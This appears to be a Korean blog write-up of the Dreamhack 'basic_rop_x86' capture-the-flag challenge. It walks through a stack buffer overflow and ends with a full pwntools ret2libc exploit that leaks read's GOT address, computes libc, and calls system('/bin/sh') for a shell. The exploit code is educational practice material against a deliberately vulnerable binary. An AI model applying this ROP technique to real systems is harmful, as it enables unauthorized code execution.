system hacking

드림핵 basic_rop_x86 문제 풀이

24kg0ld 2024. 7. 7. 13:51

문제 풀이 환경 : 구름ide

1. 환경 파악

$ chmod +x basic_rop_x86으로 실행 권한을 부여했다.
$ checksec baisc_rop_x86으로 환경을 파악했다. 문제에도 주어져있다.
environment

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

NX가 적용되어 있는 32비트 시스템임을 알 수 있다.

2. 취약점 분석, 익스플로잇 설계

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400); //최대 0x400만큼 입력 받아서
    write(1, buf, sizeof(buf)); //buf의 크기만큼 출력

    return 0;
}

buf의 크기가 0x40인데 buf의 크기보다 크게 입력을 받기 때문에 버퍼오버플로우로 return address에 ROP가젯을 넣어 공격할 수 있을 것 같다.
read 함수가 실행되기 때문에 write 함수로 GOT에서 read 함수의 주소를 읽어와서 system 함수의 주소를 구할 수 있다.
마찬가지로 '/bin/sh' 문자열의 주소를 읽어올 수 있기 때문에 system('/bin/sh')를 실행할 수 있게 된다.
첫 read에서 위의 작업을 실행하여 read 함수의 주소를 읽어온 후, main함수를 다시 실행하여 read에서 return address에 system('/bin/sh')를 실행할 수 있는 ROP가젯을 넣어주면 쉘을 획득할 수 있을 것 같다.

3. 스택 구조 파악

return address에 ROP가젯과 함수를 넣어주기 위해 스택 구조를 파악해야 된다.

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
=> 0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>

read가 실행되기 이전에 main+34를 보면 buf의 시작주소가 ebp-0x44임을 알 수 있다.

buf(0x44) | sfp(0x4) | return adress
32비트 시스템이기 때문에 스택 프레임이 위와 같은 형태로 구성되어 있음을 예상할 수 있다.

4. 함수 주소 파악

main 함수를 다시 실행시키기 위해 main 함수의 주소가 필요하다.

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483b8  _init
0x080483f0  read@plt
0x08048400  signal@plt
0x08048410  alarm@plt
0x08048420  puts@plt
0x08048430  exit@plt
0x08048440  __libc_start_main@plt
0x08048450  write@plt
0x08048460  setvbuf@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  alarm_handler
0x08048592  initialize
0x080485d9  main

이렇게 main의 주소가 0x080485d9임을 알았다.

5. x86 함수 호출 규약

read와 write를 실행하기 위해서 인자를 전달해줄 ROP가젯들이 필요하다.
x86 함수 호출 규약에 따르면 주로 c언어에서 사용되는 cdecl 방식이 사용 되었을 것이라고 예상할 수 있다.
cdecl 방식에서는 오른쪽의 인자부터 스택에 push한 후 함수가 호출될 때 스택에서 하나씩 읽어오는 방식으로 함수가 실행된다.
3번에서 diass main 명령어를 이용해 확인한 main 함수의 어셈블리어를 보자.

 0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40

read 함수가 실행되기 전 read(0, buf, 0x400)의 인자인 0x0, buf(ebp-0x44), 0x400 이 오른쪽부터 스택에 push되는 것을 알 수 있다.
그리고 함수가 호출이 끝난 후 esp에 0xc를 더해주어서 스택을 정리해준다.
위와 같은 순서로 실행을 하려면 스택 프레임을 함수 | return adress | 인자 1, 2,3의 형태로 구성해야 된다.
특힘 함수가 실행될 때 return adress가 스택에 push 되고 그 뒤의 인자를 읽는다는 것을 알고 있어야 된다.
우리는 write 함수를 실행할 것이고 write 함수의 인자는 3개이기 때문에 write 함수의 실행 후 add esp + 0xc(12)와 같은 역할을 해줄 가젯을 return adress에 넣어주어야 한다.
pop를 3번 해준다면 esp에 0xc를 더한 것과 똑같이 esp를 움직일 수 있다.

6. ROP 가젯 찾기

$ ROPgadget --binary basic\_rop\_x86 --re "pop"  
Gadgets information  
\============================================================  
0x080483d4 : add byte ptr \[eax\], al ; add esp, 8 ; pop ebx ; ret  
0x08048685 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x080483d6 : add esp, 8 ; pop ebx ; ret  
0x0804869f : arpl word ptr \[ecx\], bx ; add byte ptr \[eax\], al ; add esp, 8 ; pop ebx ; ret  
0x08048684 : jecxz 0x8048609 ; les ecx, ptr \[ebx + ebx\*2\] ; pop esi ; pop edi ; pop ebp ; ret  
0x08048683 : jne 0x8048668 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x08048686 : les ecx, ptr \[ebx + ebx\*2\] ; pop esi ; pop edi ; pop ebp ; ret  
0x08048686 : les ecx, ptr \[ebx + ebx\*2\] ; pop esi ; pop edi ; pop ebp ; ret  
0x08048686 : les ecx, ptr \[ebx + ebx\*2\] ; pop esi ; pop edi ; pop ebp ; ret  
0x08048687 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret  
0x0804868b : pop ebp ; ret  
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x080483d9 : pop ebx ; ret  
0x0804868a : pop edi ; pop ebp ; ret  
0x08048689 : pop esi ; pop edi ; pop ebp ; ret  

Unique gadgets found: 15

0x08048689에 pop을 3번 하는 가젯이 있으므로 이 가젯을 활용해주면 된다.

6. 익스플로잇 코드 작성

from pwn import *

context.arch = 'i386'

p = remote('host3.dreamhack.games', 8949)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')

write_plt = e.plt['write']
read_got = e.got['read']
main = e.symbols['main'] #main 함수 주소 쉽게 구하기
pppr = 0x08048689

payload = b'A'*0x48 #buf(0x44) + sfp(0x4)

payload += p32(write_plt) #write로 read_got에 있는 read 주소 출력
payload += p32(pppr) #esp를 write 인자를 지나 다음 함수가 실행될 수 있도록 3번 pop
payload += p32(1) + p32(read_got) + p32(4) #write 인자 스택에 쌓기
payload += p32(main) #return to main 

p.send(payload)

p.recvuntil(b'A'*0x40) #main에 있는 write의 출력 받아서 없애고

read = u32(p.recvn(4)) #return adress에 넣어준 write에서 read 주소 가져오기
lb = read - libc.symbols['read'] #libc base구하기
system = lb + libc.symbols['system'] # system 함수 주소 구하기
binsh = lb + list(libc.search(b'/bin/sh'))[0] #/bin/sh 문자열 주소 구하기

payload = b'A'*0x48 #buf(0x44) + sfp(0x4)
payload += p32(system) #system 실행
payload += b'A'*0x4 #return adress가 될 부분에 dummy값 줌(인자를 전달하기 위해서)
payload += p32(binsh) #return adress 이후의 스택에 인자 전달

p.send(payload)
p.recvuntil(b'A'*0x40)

p.interactive()

위와 같은 코드로 쉘을 획득했고 $ cat flag로 flag를 획득 했다.